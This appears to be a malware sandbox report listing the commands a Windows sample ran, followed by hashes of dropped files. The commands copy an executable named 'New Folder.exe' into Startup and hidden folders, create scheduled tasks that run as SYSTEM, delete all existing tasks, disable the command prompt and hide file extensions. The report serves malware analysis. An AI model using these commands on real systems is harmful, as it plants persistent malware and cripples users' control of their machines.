C:\Windows\SysWOW64\xcopy.exexcopy "New Folder.exe" "C:\Users\Admin\Start Menu\Programs\Startup" /h /c /y /i4⤵PID:4720
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "New Folder.exe" "C:\bg1\" /h /c /y /i4⤵PID:2692
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "New Folder.exe" "C:\Users\Admin\bg1\" /h /c /y /i4⤵PID:2176
-
-
C:\Windows\SysWOW64\attrib.exeattrib +s +h "C:\AUTOEXEC.BAT"4⤵PID:4308
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "text.txt" "C:\Users\Admin\bg1\" /h /c /y /i4⤵PID:4864
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "text.txt" "C:\Windows\bg1\" /h /c /y /i4⤵PID:2448
-
-
C:\Windows\SysWOW64\at.exeat 1:20pm /every:F msg * Sembahyang Jumaat...( lelaki je )4⤵PID:3600
-
-
C:\Windows\SysWOW64\at.exeat 7:25pm msg * Sembahyang Maghrib...4⤵PID:2532
-
-
C:\Windows\SysWOW64\at.exeat 4:50pm msg * Sembahyang Asar...4⤵PID:5080
-
-
C:\Windows\SysWOW64\at.exeat 1:35pm msg * Sembahyang Zuhur...4⤵PID:1128
-
-
C:\Windows\SysWOW64\at.exeat 6:10am msg * Sembahyang Subuh...4⤵PID:2484
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /tn "Folderw" /tr "C:\bg1\New Folder.exe" /sc weekly /mo 1 /ru "System"4⤵PID:2108
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /tn "Folderh" /tr "C:\bg1\New Folder.exe" /sc hourly /mo 1 /ru "System"4⤵PID:2648
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "C:\Windows\bg1\New Folder.exe" "C:\Users\Admin\Start Menu\Programs\Startup" /h /c /y /i4⤵PID:4696
-
-
C:\Windows\SysWOW64\reg.exereg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoFolderOptions" /t REG_DWORD /d 0 /f4⤵PID:2572
-
-
C:\Windows\SysWOW64\reg.exereg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v "ShowSuperHidden" /t REG_DWORD /d 0 /f4⤵PID:2176
-
-
C:\Windows\SysWOW64\reg.exereg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v "HideFileExt" /t REG_DWORD /d 1 /f4⤵PID:1816
-
-
C:\Windows\SysWOW64\reg.exereg add "hkcu\Software\Policies\Microsoft\Windows\System" /v "DisableCMD" /t REG_DWORD /d 1 /f4⤵PID:1148
-
-
C:\Windows\SysWOW64\reg.exereg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v "HideFileExt" /t REG_DWORD /d 1 /f4⤵PID:608
-
-
C:\Windows\SysWOW64\reg.exereg add "hkcu\Software\Microsoft\RegEdt32\Settings" /v "SaveSettings" /t REG_SZ /d 1 /f4⤵PID:768
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "New Folder.exe" "C:\Users\Admin\Start Menu\Programs\Startup" /h /c /y /i4⤵PID:392
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "New Folder.exe" "C:\bg1\" /h /c /y /i4⤵PID:1616
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "New Folder.exe" "C:\Windows\bg1\" /h /c /y /i4⤵PID:3172
-
-
C:\Windows\SysWOW64\attrib.exeattrib +s +h "C:\AUTOEXEC.BAT"4⤵
- Sets file to hidden
PID:1848
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "text.txt" "C:\Users\Admin\bg1\" /h /c /y /i4⤵PID:1128
-
-
C:\Windows\SysWOW64\at.exeat 1:20pm /every:F msg * Sembahyang Jumaat...( lelaki je )4⤵PID:3324
-
-
C:\Windows\SysWOW64\at.exeat 8:40pm msg * Sembahyang Isyak...4⤵PID:4768
-
-
C:\Windows\SysWOW64\at.exeat 7:25pm msg * Sembahyang Maghrib...4⤵PID:4368
-
-
C:\Windows\SysWOW64\at.exeat 4:50pm msg * Sembahyang Asar...4⤵PID:4352
-
-
C:\Windows\SysWOW64\at.exeat 6:10am msg * Sembahyang Subuh...4⤵PID:2692
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /tn "AUTO" /tr "C:\AUTOEXEC.BAT" /sc minute /mo 3 /ru "System"4⤵PID:4844
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /tn "Folderd" /tr "C:\bg1\New Folder.exe" /sc daily /mo 1 /ru "System"4⤵PID:2176
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /delete /tn * /f4⤵PID:768
-
-
C:\Windows\SysWOW64\reg.exereg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoFolderOptions" /t REG_DWORD /d 0 /f4⤵PID:4416
-
-
C:\Windows\SysWOW64\reg.exereg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v "ShowSuperHidden" /t REG_DWORD /d 0 /f4⤵PID:2148
-
-
C:\Windows\SysWOW64\reg.exereg add "hkcu\Software\Policies\Microsoft\Windows\System" /v "DisableCMD" /t REG_DWORD /d 1 /f4⤵PID:3172
-
-
C:\Windows\SysWOW64\reg.exereg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v "HideFileExt" /t REG_DWORD /d 1 /f4⤵PID:1848
-
-
C:\Windows\SysWOW64\reg.exereg add "hkcu\Software\Microsoft\RegEdt32\Settings" /v "SaveSettings" /t REG_SZ /d 1 /f4⤵PID:4656
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "New Folder.exe" "C:\bg1\" /h /c /y /i4⤵PID:4476
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "New Folder.exe" "C:\Users\Admin\bg1\" /h /c /y /i4⤵PID:1676
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "New Folder.exe" "C:\Windows\bg1\" /h /c /y /i4⤵PID:4592
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "text.txt" "C:\Users\Admin\bg1\" /h /c /y /i4⤵PID:4504
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "text.txt" "C:\Windows\bg1\" /h /c /y /i4⤵PID:4692
-
-
C:\Windows\SysWOW64\at.exeat 1:20pm /every:F msg * Sembahyang Jumaat...( lelaki je )4⤵PID:3144
-
-
C:\Windows\SysWOW64\at.exeat 7:25pm msg * Sembahyang Maghrib...4⤵PID:1988
-
-
C:\Windows\SysWOW64\at.exeat 4:50pm msg * Sembahyang Asar...4⤵PID:1088
-
-
C:\Windows\SysWOW64\at.exeat 1:35pm msg * Sembahyang Zuhur...4⤵PID:4676
-
-
C:\Windows\SysWOW64\at.exeat 6:10am msg * Sembahyang Subuh...4⤵PID:2216
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /tn "AUTO" /tr "C:\AUTOEXEC.BAT" /sc minute /mo 3 /ru "System"4⤵PID:1128
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /tn "Folderh" /tr "C:\bg1\New Folder.exe" /sc hourly /mo 1 /ru "System"4⤵PID:2648
-
-
C:\Windows\SysWOW64\at.exeat /delete /yes4⤵PID:2688
-
-
C:\Windows\SysWOW64\reg.exereg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoFolderOptions" /t REG_DWORD /d 0 /f4⤵PID:2572
-
-
C:\Windows\SysWOW64\reg.exereg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v "ShowSuperHidden" /t REG_DWORD /d 0 /f4⤵PID:5008
-
-
C:\Windows\SysWOW64\reg.exereg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v "HideFileExt" /t REG_DWORD /d 1 /f4⤵PID:1816
-
-
C:\Windows\SysWOW64\reg.exereg add "hkcu\Software\Policies\Microsoft\Windows\System" /v "DisableCMD" /t REG_DWORD /d 1 /f4⤵PID:1148
-
-
C:\Windows\SysWOW64\reg.exereg add "hkcu\Software\Microsoft\RegEdt32\Settings" /v "SaveSettings" /t REG_SZ /d 1 /f4⤵PID:3380
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "New Folder.exe" "C:\Users\Admin\Start Menu\Programs\Startup" /h /c /y /i4⤵PID:4080
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "New Folder.exe" "C:\Users\Admin\bg1\" /h /c /y /i4⤵PID:4136
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "New Folder.exe" "C:\Windows\bg1\" /h /c /y /i4⤵PID:2148
-
-
C:\Windows\SysWOW64\attrib.exeattrib +s +h "C:\AUTOEXEC.BAT"4⤵
- Sets file to hidden
PID:4972
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "text.txt" "C:\Windows\bg1\" /h /c /y /i4⤵PID:3656
-
-
C:\Windows\SysWOW64\at.exeat 1:20pm /every:F msg * Sembahyang Jumaat...( lelaki je )4⤵PID:1348
-
-
C:\Windows\SysWOW64\at.exeat 8:40pm msg * Sembahyang Isyak...4⤵PID:2672
-
-
C:\Windows\SysWOW64\at.exeat 4:50pm msg * Sembahyang Asar...4⤵PID:2868
-
-
C:\Windows\SysWOW64\at.exeat 1:35pm msg * Sembahyang Zuhur...4⤵PID:4996
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /tn "AUTO" /tr "C:\AUTOEXEC.BAT" /sc minute /mo 3 /ru "System"4⤵PID:3448
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /tn "Folderh" /tr "C:\bg1\New Folder.exe" /sc hourly /mo 1 /ru "System"4⤵PID:4116
-
-
C:\Windows\SysWOW64\at.exeat /delete /yes4⤵PID:4088
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "C:\Windows\bg1\New Folder.exe" "C:\Users\Admin\Start Menu\Programs\Startup" /h /c /y /i4⤵PID:640
-
-
C:\Windows\SysWOW64\reg.exereg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoFolderOptions" /t REG_DWORD /d 0 /f4⤵PID:3664
-
-
C:\Windows\SysWOW64\reg.exereg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v "ShowSuperHidden" /t REG_DWORD /d 0 /f4⤵PID:4692
-
-
C:\Windows\SysWOW64\reg.exereg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v "HideFileExt" /t REG_DWORD /d 1 /f4⤵PID:3144
-
-
C:\Windows\SysWOW64\reg.exereg add "hkcu\Software\Policies\Microsoft\Windows\System" /v "DisableCMD" /t REG_DWORD /d 1 /f4⤵PID:3444
-
-
C:\Windows\SysWOW64\reg.exereg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v "HideFileExt" /t REG_DWORD /d 1 /f4⤵PID:1988
-
-
C:\Windows\SysWOW64\reg.exereg add "hkcu\Software\Microsoft\RegEdt32\Settings" /v "SaveSettings" /t REG_SZ /d 1 /f4⤵PID:1088
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "New Folder.exe" "C:\bg1\" /h /c /y /i4⤵PID:5092
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "New Folder.exe" "C:\Users\Admin\bg1\" /h /c /y /i4⤵PID:4528
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "New Folder.exe" "C:\Windows\bg1\" /h /c /y /i4⤵PID:4320
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "text.txt" "C:\Users\Admin\bg1\" /h /c /y /i4⤵PID:2524
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "text.txt" "C:\Windows\bg1\" /h /c /y /i4⤵PID:1416
-
-
C:\Windows\SysWOW64\at.exeat 8:40pm msg * Sembahyang Isyak...4⤵PID:32
-
-
C:\Windows\SysWOW64\at.exeat 7:25pm msg * Sembahyang Maghrib...4⤵PID:2308
-
-
C:\Windows\SysWOW64\at.exeat 4:50pm msg * Sembahyang Asar...4⤵PID:2780
-
-
C:\Windows\SysWOW64\at.exeat 6:10am msg * Sembahyang Subuh...4⤵PID:1676
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /tn "AUTO" /tr "C:\AUTOEXEC.BAT" /sc minute /mo 3 /ru "System"4⤵PID:5108
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /tn "Folderd" /tr "C:\bg1\New Folder.exe" /sc daily /mo 1 /ru "System"4⤵PID:1212
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /tn "Folderm" /tr "C:\bg1\New Folder.exe" /sc minute /mo 5 /ru "System"4⤵PID:4352
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /delete /tn * /f4⤵PID:3092
-
-
C:\Windows\SysWOW64\reg.exereg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoFolderOptions" /t REG_DWORD /d 0 /f4⤵PID:2216
-
-
C:\Windows\SysWOW64\reg.exereg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v "ShowSuperHidden" /t REG_DWORD /d 0 /f4⤵PID:4976
-
-
C:\Windows\SysWOW64\reg.exereg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v "HideFileExt" /t REG_DWORD /d 1 /f4⤵PID:4560
-
-
C:\Windows\SysWOW64\reg.exereg add "hkcu\Software\Policies\Microsoft\Windows\System" /v "DisableCMD" /t REG_DWORD /d 1 /f4⤵PID:2648
-
-
C:\Windows\SysWOW64\reg.exereg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v "HideFileExt" /t REG_DWORD /d 1 /f4⤵PID:1840
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "New Folder.exe" "C:\Users\Admin\Start Menu\Programs\Startup" /h /c /y /i4⤵PID:3952
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "New Folder.exe" "C:\bg1\" /h /c /y /i4⤵PID:4720
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "New Folder.exe" "C:\Users\Admin\bg1\" /h /c /y /i4⤵PID:1972
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "New Folder.exe" "C:\Windows\bg1\" /h /c /y /i4⤵PID:1420
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "text.txt" "C:\Users\Admin\bg1\" /h /c /y /i4⤵PID:2120
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "text.txt" "C:\Windows\bg1\" /h /c /y /i4⤵PID:1508
-
-
C:\Windows\SysWOW64\at.exeat 1:20pm /every:F msg * Sembahyang Jumaat...( lelaki je )4⤵PID:1352
-
-
C:\Windows\SysWOW64\at.exeat 8:40pm msg * Sembahyang Isyak...4⤵PID:2860
-
-
C:\Windows\SysWOW64\at.exeat 7:25pm msg * Sembahyang Maghrib...4⤵PID:3912
-
-
C:\Windows\SysWOW64\at.exeat 1:35pm msg * Sembahyang Zuhur...4⤵PID:2052
-
-
C:\Windows\SysWOW64\at.exeat 6:10am msg * Sembahyang Subuh...4⤵PID:2076
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /tn "Folderw" /tr "C:\bg1\New Folder.exe" /sc weekly /mo 1 /ru "System"4⤵PID:1152
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /tn "Folderh" /tr "C:\bg1\New Folder.exe" /sc hourly /mo 1 /ru "System"4⤵PID:608
-
-
C:\Windows\SysWOW64\at.exeat /delete /yes4⤵PID:2156
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "C:\Windows\bg1\New Folder.exe" "C:\Users\Admin\Start Menu\Programs\Startup" /h /c /y /i4⤵PID:436
-
-
C:\Windows\SysWOW64\reg.exereg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v "ShowSuperHidden" /t REG_DWORD /d 0 /f4⤵PID:2620
-
-
C:\Windows\SysWOW64\reg.exereg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v "HideFileExt" /t REG_DWORD /d 1 /f4⤵PID:2140
-
-
C:\Windows\SysWOW64\reg.exereg add "hkcu\Software\Policies\Microsoft\Windows\System" /v "DisableCMD" /t REG_DWORD /d 1 /f4⤵PID:2904
-
-
C:\Windows\SysWOW64\reg.exereg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v "HideFileExt" /t REG_DWORD /d 1 /f4⤵PID:4380
-
-
C:\Windows\SysWOW64\reg.exereg add "hkcu\Software\Microsoft\RegEdt32\Settings" /v "SaveSettings" /t REG_SZ /d 1 /f4⤵PID:4348
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "New Folder.exe" "C:\Users\Admin\Start Menu\Programs\Startup" /h /c /y /i4⤵PID:1176
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "New Folder.exe" "C:\bg1\" /h /c /y /i4⤵PID:4656
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "New Folder.exe" "C:\Users\Admin\bg1\" /h /c /y /i4⤵PID:4512
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "New Folder.exe" "C:\Windows\bg1\" /h /c /y /i4⤵PID:4652
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "text.txt" "C:\Users\Admin\bg1\" /h /c /y /i4⤵PID:736
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "text.txt" "C:\Windows\bg1\" /h /c /y /i4⤵PID:3444
-
-
C:\Windows\SysWOW64\at.exeat 8:40pm msg * Sembahyang Isyak...4⤵PID:1840
-
-
C:\Windows\SysWOW64\at.exeat 7:25pm msg * Sembahyang Maghrib...4⤵PID:3880
-
-
C:\Windows\SysWOW64\at.exeat 4:50pm msg * Sembahyang Asar...4⤵PID:2668
-
-
C:\Windows\SysWOW64\at.exeat 1:35pm msg * Sembahyang Zuhur...4⤵PID:640
-
-
C:\Windows\SysWOW64\at.exeat 6:10am msg * Sembahyang Subuh...4⤵PID:3952
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /tn "Folderd" /tr "C:\bg1\New Folder.exe" /sc daily /mo 1 /ru "System"4⤵PID:624
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /tn "Folderh" /tr "C:\bg1\New Folder.exe" /sc hourly /mo 1 /ru "System"4⤵PID:2936
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /tn "Folderm" /tr "C:\bg1\New Folder.exe" /sc minute /mo 5 /ru "System"4⤵PID:1616
-
-
C:\Windows\SysWOW64\at.exeat /delete /yes4⤵PID:4996
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /delete /tn * /f4⤵PID:3084
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "C:\Windows\bg1\New Folder.exe" "C:\Users\Admin\Start Menu\Programs\Startup" /h /c /y /i4⤵PID:4140
-
-
C:\Windows\SysWOW64\reg.exereg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoFolderOptions" /t REG_DWORD /d 0 /f4⤵PID:3928
-
-
C:\Windows\SysWOW64\reg.exereg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v "ShowSuperHidden" /t REG_DWORD /d 0 /f4⤵PID:4116
-
-
C:\Windows\SysWOW64\reg.exereg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v "HideFileExt" /t REG_DWORD /d 1 /f4⤵PID:1504
-
-
C:\Windows\SysWOW64\reg.exereg add "hkcu\Software\Policies\Microsoft\Windows\System" /v "DisableCMD" /t REG_DWORD /d 1 /f4⤵PID:3656
-
-
C:\Windows\SysWOW64\reg.exereg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v "HideFileExt" /t REG_DWORD /d 1 /f4⤵PID:4604
-
-
C:\Windows\SysWOW64\reg.exereg add "hkcu\Software\Microsoft\RegEdt32\Settings" /v "SaveSettings" /t REG_SZ /d 1 /f4⤵PID:2740
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "New Folder.exe" "C:\Users\Admin\Start Menu\Programs\Startup" /h /c /y /i4⤵PID:1352
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "New Folder.exe" "C:\bg1\" /h /c /y /i4⤵PID:2760
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "New Folder.exe" "C:\Users\Admin\bg1\" /h /c /y /i4⤵PID:3912
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "New Folder.exe" "C:\Windows\bg1\" /h /c /y /i4⤵PID:4680
-
-
C:\Windows\SysWOW64\at.exeat 1:20pm /every:F msg * Sembahyang Jumaat...( lelaki je )4⤵PID:3736
-
-
C:\Windows\SysWOW64\at.exeat 8:40pm msg * Sembahyang Isyak...4⤵PID:3756
-
-
C:\Windows\SysWOW64\at.exeat 7:25pm msg * Sembahyang Maghrib...4⤵PID:3820
-
-
C:\Windows\SysWOW64\at.exeat 4:50pm msg * Sembahyang Asar...4⤵PID:4348
-
-
C:\Windows\SysWOW64\at.exeat 6:10am msg * Sembahyang Subuh...4⤵PID:4548
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /tn "AUTO" /tr "C:\AUTOEXEC.BAT" /sc minute /mo 3 /ru "System"4⤵PID:2240
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /tn "Folderw" /tr "C:\bg1\New Folder.exe" /sc weekly /mo 1 /ru "System"4⤵PID:5032
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /tn "Folderh" /tr "C:\bg1\New Folder.exe" /sc hourly /mo 1 /ru "System"4⤵PID:3760
-
-
C:\Windows\SysWOW64\at.exeat /delete /yes4⤵PID:4284
-
-
C:\Windows\SysWOW64\xcopy.exexcopy "C:\Windows\bg1\New Folder.exe" "C:\Users\Admin\Start Menu\Programs\Startup" /h /c /y /i4⤵PID:3092
-
-
C:\Windows\SysWOW64\reg.exereg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoFolderOptions" /t REG_DWORD /d 0 /f4⤵PID:2532
-
-
C:\Windows\SysWOW64\reg.exereg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v "ShowSuperHidden" /t REG_DWORD /d 0 /f4⤵PID:3844
-
-
C:\Windows\SysWOW64\reg.exereg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v "HideFileExt" /t REG_DWORD /d 1 /f4⤵PID:960
-
-
C:\Windows\SysWOW64\reg.exereg add "hkcu\Software\Policies\Microsoft\Windows\System" /v "DisableCMD" /t REG_DWORD /d 1 /f4⤵PID:1988
-
-
C:\Windows\SysWOW64\reg.exereg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v "HideFileExt" /t REG_DWORD /d 1 /f4⤵PID:3664
-
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
4KB
MD52f3894359fbb6fb8f94c62049c64aa85
SHA19f4bbdabaf9a48eae34fcfa19a23edd0c748d2be
SHA2567c0570d4b383b7f178153b5246ade60265f590851f9eb482f08643f40b4ce54e
SHA512304630e0fcedf053d9394744e247232ceeff9e436ef42d8f4090ca039ae262b690a48a026450bab88783cb744b06f50e3dfabad0e39fd845144590b8c212da0e
-
Filesize
2KB
MD5d34db6ee5c8cb82c382bde5f11d22b89
SHA10ff34b17709c1a0267c04c9770a170a4ca167733
SHA2565e057e5acadf39e0d8ca3d27718da705e4fbe628eba1840602049a934aa8d2ae
SHA51242d7e32b4b6522f2c1875f170abd5bc66d14c0ffda3edfb23cdd396b31840c94161d0a13cadab8e55e4f6c5218a3998bf487b4fc4680b83b37acd9afc2fa6444
-
Filesize
1KB
MD5450648b7eb69600e0bc44332ac8afc27
SHA17a8827a2127b3ec7ee36b136289cb3a91aa25384
SHA256a4e5c96288fef4d1984d1b3fd13e413e992d49655df5bc649d56fa3763eac349
SHA51280087fdf84c88ce42965d0f33377657badf4e9817df7ffa0e15b7f0561530d452e0fc123613c621d61fa5cc216f374a3ac86022a20aef078977b3516722377f0
-
Filesize
2KB
MD5360ff7ff9a6afa497bda8cb1d51eaac1
SHA1d90f74523cef17a2bde9bf90689cd01aa95b6db4
SHA25699af02b1b02f8a54630c4efabef9a464ac506c2031c1ac9ee70491c2cf0889fa
SHA512b39ee306e07c7f2aa81c7143a80ce7f253e231f4795c5161caa89ee96a1b296806fc4c4fd896e594ac2f25ef3be258c99fcea7381fc5ba1edc60d615146f8f5e
-
Filesize
2KB
MD5ba8eaecb48521f34586d082cc22b5e34
SHA1ea9a4488487c88c3e1d2ceb3b1a1832c150c87eb
SHA256d900a73e20018c6fe26aca4d9f40ce1e91aafe389d37f549c1f66f3d27db68eb
SHA5120769b69a007b88a0e48c9ec4fecba4729893a2d38696149cc06b40aa40c4479feb01fae8030dd339b4bd3f607a6e4325e48fe46b66f10629cf552593ebae1bba
-
Filesize
3KB
MD5bdf6281dc532dbca8427fbaea21fded2
SHA1733064e5fc44e95147ef574ea287c9e621c32945
SHA256b97169ffca5d15d3746132d0fb41aa2db3da19334c7b2cfec5e1c960990879f0
SHA512b04573c9ebe045a1c7c8e2d52d8b9e96ab23ef6c2618a476d01d1133bcf478ef820b12b98a13810329a4960b086db61af9fc4ca08d61ca1f5851765544ec99ad
-
Filesize
701B
MD52d04b922ac7e4d4623f6f38f6d23cd2f
SHA11a57d9a88c2c36cf32207b521ff0f3d7cd1d4466
SHA256fd7befb5abab55b73160fea08173968271eb413f1db3f24f043cc2848ebd2041
SHA512e92713266175a586d248cab9ed8c64a02537fcbcccbaf9fda04c9a3144db0278f94033b40b7156da08e1c08d4b123243d797da6eefdf1932c9e8edc0aa7a2a8e
-
Filesize
1KB
MD596a6f6f3a271d2c04e8d41d52bf586f4
SHA1ed82cf5dcfcf7addfd37c8920fb7d0140335fe85
SHA25618513e917695464aabd38cb4a1f0ab82958f9208c9137d923114d3845fdb9561
SHA5129d31ca77778f9a2852c60c69126cb195f9b90b50c4ca1746a4ecf8e065948bcebbcf1bbdece5cda6e9e6a88fe82d05d20d31bc4b05b91c04b982f209f4a6144e
-
Filesize
1KB
MD57090b4331cc831747423540b9a86649e
SHA19c4ecf58a49b3d34b92bdbb4d1de4a0b42b0213a
SHA256f3e35fc4e3b8695ee15967f8e234ea09ee3b46b150613b05ddd884a73b014cff
SHA51287ea33e6242be2db17b3e002dab44897c0ed8139f60db29e5e99d8fdbbe28c52a482a00591fc322039bc7871bf69dc0d351c7bfa3b7e77c80f5e8469300b74d9
-
Filesize
2KB
MD579e0b0513911bab16de835919c31a7aa
SHA1b4be3109b948d574a0f2ac733d7dac309730eef2
SHA256470ff956e52e1c24da058207af489d81c512184fb25211437e737f2eeeb0badc
SHA512e0b54c2f57579e1b323f7a12b7569c34cfd9b935d564891617de342fb543215c95fe1b6a0dab1214f0e61497f4bd7ee8c51690e57b3a6f4c24c006da8b101050
-
Filesize
2KB
MD55112c2d91d86827ded81754dc7b4eac6
SHA1194d134ea76c3dadcf76844485057efa16115e8d
SHA2565ed15d9c29e9c061d82c9862de5ed67f090cea30b3590f270469d5d363d4a849
SHA512f0ddb53098ec0e0a39150bf4a8c76eaf42180daa547b35692e6efd005bfa513d576db346916a75c4fcae34e0a9a0ca62a572e8b14bba4bb6fb34cbff5ea28cf0
-
Filesize
3KB
MD5af9a78e75777f700784134b34a01c53f
SHA1ef42fb4524913a2ec762be282c1e659ad96b616c
SHA2565a4acd0ea3956ff36fd1139ee2df7f86c59fabd321e869c1bb40fba66499e901
SHA512308f611b49ae8e8f2ef6a70ae4d05e800fe1801d486b4c8c88d677a992bbea66fb9044c81ae0be2502dfce3446fde9ab28ffa034cb22918e3d797376068b6f2e
-
Filesize
891B
MD5a17867bdecdd089e017a4ba43b2e3ef3
SHA1dbb63a3ce09088833e60c199bf3959497ac9d70a
SHA256abe079731ae7c9f116dca320b19b7587b4fabe212a690f3058f29e234029432b
SHA512ed0d7c94998567352d78a9201ffaeb7b162609af4183fb99349014bb38a2fc4267cdc27f9ffa17662bc0493a5bd5834adaa3617cd7cfd278c1b53bdf92d1f4ae
-
Filesize
1KB
MD55b4a61b379f742cd0ab0964731f04c20
SHA15c46436d4b9f5d398216080ef9475a4f24e63752
SHA256180a91f60bd9b39256654c5d2b52c950f5a3bcfaf1233b1e8be055faca1d1fa7
SHA512e68eadf12779e41d4d23c88a28263638429099d9bf20380265d15a1e359126e57f36712bc1105e79df373d0c1d1ff5b3204cf80a57f8479f92d92d8877d782cf
-
Filesize
1KB
MD53800a89716e68a47fae23714803f90c4
SHA1ffba111f2e79b1f8baf3d2cf4aabc049bbe1154d
SHA256e4f3b778311085f1f23405b50c65c0394ee00a3bb0de764913b2d15a5674876a
SHA5127ca4c311c6c2963216ced4c7ad7547fb30bc0c27df067e9d751e24497a72ca23fac8897d9876ce6573c1b5c185af93e0549e1b88b296e9988a260c226e242871
-
Filesize
2KB
MD54ae163e3d593b4322f063feae743af40
SHA148aed53ceba53836ed26e31940e4be676e309dba
SHA25637a6b1f84bc194f6bc4a5bb6efa97aec102b3803d0d52d0079a60b437cae1b2a
SHA512575e7e1659d95ef5f2a822f9bd9f9973e6bf3ad6947eb35c4ee0ee3132deff8cab9d0207a0ae5e49ae80ed24f06563b2fb40084d95a19bbc1ac057917cb54b45
-
Filesize
2KB
MD545bf35e214173a6e5bb45168a71b47ce
SHA148c15fe3cab656b3e47860ca13dac50fa166b98a
SHA256844aef1d5d2726af957ab43f78c3220ad791823e1ad00c520f93a5a56c8b95a2
SHA51283495885dbfe2fb4a8db1ebe0f123bd9577496a29035b3780811eed60df2912c8a0530734c30f156c0c31d73dfeb89f9f98b3fb0520bce9a0f9c5920f7e73389
-
Filesize
2KB
